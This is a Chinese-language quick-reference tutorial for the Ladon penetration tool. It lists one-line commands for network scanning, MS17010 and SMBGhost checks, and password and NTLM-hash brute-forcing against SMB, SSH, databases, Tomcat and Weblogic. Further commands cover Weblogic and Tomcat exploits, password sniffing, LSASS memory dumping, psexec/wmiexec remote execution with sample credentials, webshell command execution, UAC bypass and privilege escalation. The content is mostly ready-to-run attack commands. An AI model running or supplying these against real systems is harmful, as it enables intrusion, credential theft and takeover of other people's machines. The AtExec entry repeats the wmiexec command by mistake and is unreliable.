K8哥哥

(/)

Ladon简明教程

<% Visit 91 %>

前言

本文仅是Ladon简单使用例子，Cobalt Strike或PowerShell版用法一致。

完整文档：http://k8gege.org/Ladon (http://k8gege.org/Ladon)

资产扫描、指纹识别、服务识别、存活主机、端口扫描

001 多协议扫描存活主机（IP、机器名、MAC地址、制造商）

Ladon 192.168.1.8/24 OnlinePC

002 多协议扫描存活主机（IP、机器名、操作系统版本、开放服务）

Ladon 192.168.1.8/24 OsScan

003 扫描存活主机

Ladon 192.168.1.8/24 OnlineIP

004 ICMP扫描存活主机

Ladon 192.168.1.8/24 Ping

005 扫描SMB漏洞MS17010 （IP、机器名、漏洞编号、操作系统版本）

Ladon 192.168.1.8/24 MS17010

006 扫描SMBGhost漏洞 CVE-2020-0796（IP、机器名、漏洞编号、操作系统版本）

Ladon 192.168.1.8/24 SMBGhost

扫描Web信息 （IP、主机名、Banner、Web标题）

Ladon 192.168.1.8/24 WebScan

扫描C段站点URL域名 （域名、Web标题）

Ladon 192.168.1.8/24 UrlScan

扫描C段站点URL域名 （域名、Web标题）

Ladon 192.168.1.8/24 SameWeb

扫描子域名、二级域名

Ladon baidu.com SubDomain

域名解析IP、主机名解析IP

Ladon baidu.com DomainIP
Ladon baidu.com HostIP

域内机器信息获取

Ladon AdiDnsDump 192.168.1.8 （Domain IP）

扫描C段端口、指定端口扫描

Ladon 192.168.1.8/24 PortScan
Ladon 192.168.1.8 PortScan 80,445,3389

扫描C段WEB以及CMS（75种Web指纹识别）

Ladon 192.168.1.8/24 WhatCMS

扫描思科设备

Ladon 192.168.1.8/24 CiscoScan
Ladon http://192.168.1.8 (http://192.168.1.8) CiscoScan

枚举Mssql数据库主机 （数据库IP、机器名、SQL版本）

Ladon EnumMssql

枚举网络共享资源 （域、存活IP、共享路径）

Ladon EnumShare

扫描LDAP服务器

Ladon 192.168.1.8/24 LdapScan

扫描FTP服务器

Ladon 192.168.1.8/24 FtpScan

暴力破解/网络认证/弱口令/密码爆破/数据库/网站后台/登陆口/系统登陆

密码爆破详解参考SSH：http://k8gege.org/Ladon/sshscan.html (http://k8gege.org/Ladon/sshscan.html)

445端口 SMB密码爆破(Windows)

Ladon 192.168.1.8/24 SmbScan

135端口 Wmi密码爆破(Windowns)

Ladon 192.168.1.8/24 WmiScan

389端口 LDAP服务器、AD域密码爆破(Windows)

Ladon 192.168.1.8/24 LdapScan

5985端口 Winrm密码爆破(Windowns)

Ladon 192.168.1.8/24 WinrmScan.ini

445端口 SMB NTLM HASH爆破(Windows)

Ladon 192.168.1.8/24 SmbHashScan

135端口 Wmi NTLM HASH爆破(Windows)

Ladon 192.168.1.8/24 WmiHashScan

22端口 SSH密码爆破(Linux)

Ladon 192.168.1.8/24 SshScan
Ladon 192.168.1.8:22 SshScan

1433端口 Mssql数据库密码爆破

Ladon 192.168.1.8/24 MssqlScan

1521端口 Oracle数据库密码爆破

Ladon 192.168.1.8/24 OracleScan

3306端口 Mysql数据库密码爆破

Ladon 192.168.1.8/24 MysqlScan

7001端口 Weblogic后台密码爆破

Ladon http://192.168.1.8:7001/console (http://192.168.1.8:7001/console) WeblogicScan
Ladon 192.168.1.8/24 WeblogicScan

5900端口 VNC远程桌面密码爆破

Ladon 192.168.1.8/24 VncScan

21端口 Ftp服务器密码爆破

Ladon 192.168.1.8/24 FtpScan

8080端口 Tomcat后台登陆密码爆破

Ladon 192.168.1.8/24 TomcatScan
Ladon http://192.168.1.8:8080/manage (http://192.168.1.8:8080/manage) TomcatScan

Web端口 401基础认证密码爆破

Ladon http://192.168.1.8/login (http://192.168.1.8/login) HttpBasicScan

445端口 Impacket SMB密码爆破(Windowns)

Ladon 192.168.1.8/24 SmbScan.ini

445端口 IPC密码爆破(Windowns)

Ladon 192.168.1.8/24 IpcScan.ini

漏洞检测/漏洞利用/Poc/Exp

SMB漏洞检测(CVE-2017-0143/CVE-2017-0144)

Ladon 192.168.1.8/24 MS17010

Weblogic漏洞检测(CVE-2019-2725/CVE-2018-2894)

Ladon 192.168.1.8/24 WeblogicPoc

PhpStudy后门检测(phpstudy 2016/phpstudy 2018)

Ladon 192.168.1.8/24 PhpStudyPoc

ActiveMQ漏洞检测(CVE-2016-3088)

Ladon 192.168.1.8/24 ActivemqPoc

Tomcat漏洞检测(CVE-2017-12615)

Ladon 192.168.1.8/24 TomcatPoc

Weblogic漏洞利用(CVE-2019-2725)

Ladon 192.168.1.8/24 WeblogicExp

Tomcat漏洞利用(CVE-2017-12615)

Ladon 192.168.1.8/24 TomcatExp

Struts2漏洞检测(S2-005/S2-009/S2-013/S2-016/S2-019/S2-032/DevMode)

Ladon 192.168.1.8/24 Struts2Poc

FTP下载、HTTP下载

HTTP下载

Ladon HttpDownLoad http://k8gege.org/Download/Ladon.rar (http://k8gege.org/Download/Ladon.rar)

Ftp下载

Ladon FtpDownLoad 127.0.0.1:21 admin admin test.exe

加密解密(HEX/Base64)

Hex加密解密

Ladon 123456 EnHex
Ladon 313233343536 DeHex

Base64加密解密

Ladon 123456 EnBase64
Ladon MTIzNDU2 DeBase64

网络嗅探

Ftp密码嗅探

Ladon FtpSniffer 192.168.1.5

HTTP密码嗅探

Ladon HTTPSniffer 192.168.1.5

网络嗅探

Ladon Sniffer

密码读取

读取IIS站点密码、网站路径

Ladon IISpwd

DumpLsass内存密码

Ladon DumpLsass

信息收集

进程详细信息

Ladon EnumProcess
Ladon Tasklist

获取命令行参数

Ladon cmdline
Ladon cmdline cmd.exe

获取渗透基础信息

Ladon GetInfo
Ladon GetInfo2

.NET & PowerShell版本

Ladon NetVer
Ladon PSver
Ladon NetVersion
Ladon PSversion

运行时版本&编译环境

Ladon Ver
Ladon Version

远程执行(psexec/wmiexec/atexec/sshexec)

445端口 PSEXEC远程执行命令（交互式）

net user \192.168.1.8 k8gege520 /user:k8gege
Ladon psexec 192.168.1.8
psexec> whoami
nt authority\system

135端口 WmiExec远程执行命令 （非交互式）

Ladon wmiexec 192.168.1.8 k8gege k8gege520 whoami

445端口 AtExec远程执行命令（非交互式）

Ladon wmiexec 192.168.1.8 k8gege k8gege520 whoami

22端口 SshExec远程执行命令（非交互式）

Ladon SshExec 192.168.1.8 k8gege k8gege520 whoami
Ladon SshExec 192.168.1.8 22 k8gege k8gege520 whoami

JspShell远程执行命令（非交互式）

Usage：Ladon JspShell type url pwd cmd
Example: Ladon JspShell ua http://192.168.1.8/shell.jsp (http://192.168.1.8/shell.jsp) Ladon whoa mi

WebShell远程执行命令（非交互式）

```
1   Usage: Ladon WebShell ScriptType ShellType url pwd cmd
2   Example: Ladon WebShell jsp ua http://192.168.1.8/shell.jsp Ladon whoami
3   Example: Ladon WebShell aspx cd http://192.168.1.8/1.aspx Ladon whoami
4   Example: Ladon WebShell php ua http://192.168.1.8/1.php Ladon whoami
```

提权降权

BypassUac 绕过UAC执行,支持Win7-Win10

Ladon BypassUac c:\1.exe
Ladon BypassUac c:\1.bat

GetSystem 提权或降权运行程序

Ladon GetSystem cmd.exe
Ladon GetSystem cmd.exe explorer

Runas 模拟用户执行命令

Ladon Runas user pass cmd

其它功能

一键启用.net 3.5

Ladon EnableDotNet

获取内网站点HTML源码

Ladon gethtml http://192.168.1.1 (http://192.168.1.1)

检测后门

Ladon CheckDoor
Ladon AutoRun

获取本机内网IP与外网IP

Ladon GetIP

迷你WEB服务器

Ladon WebSer 80
Ladon web 80

工具下载

最新版本：https://k8gege.org/Download/Ladon.rar (https://k8gege.org/Download/Ladon.rar)
历史版本: https://github.com/k8gege/Ladon/releases (https://github.com/k8gege/Ladon/releases)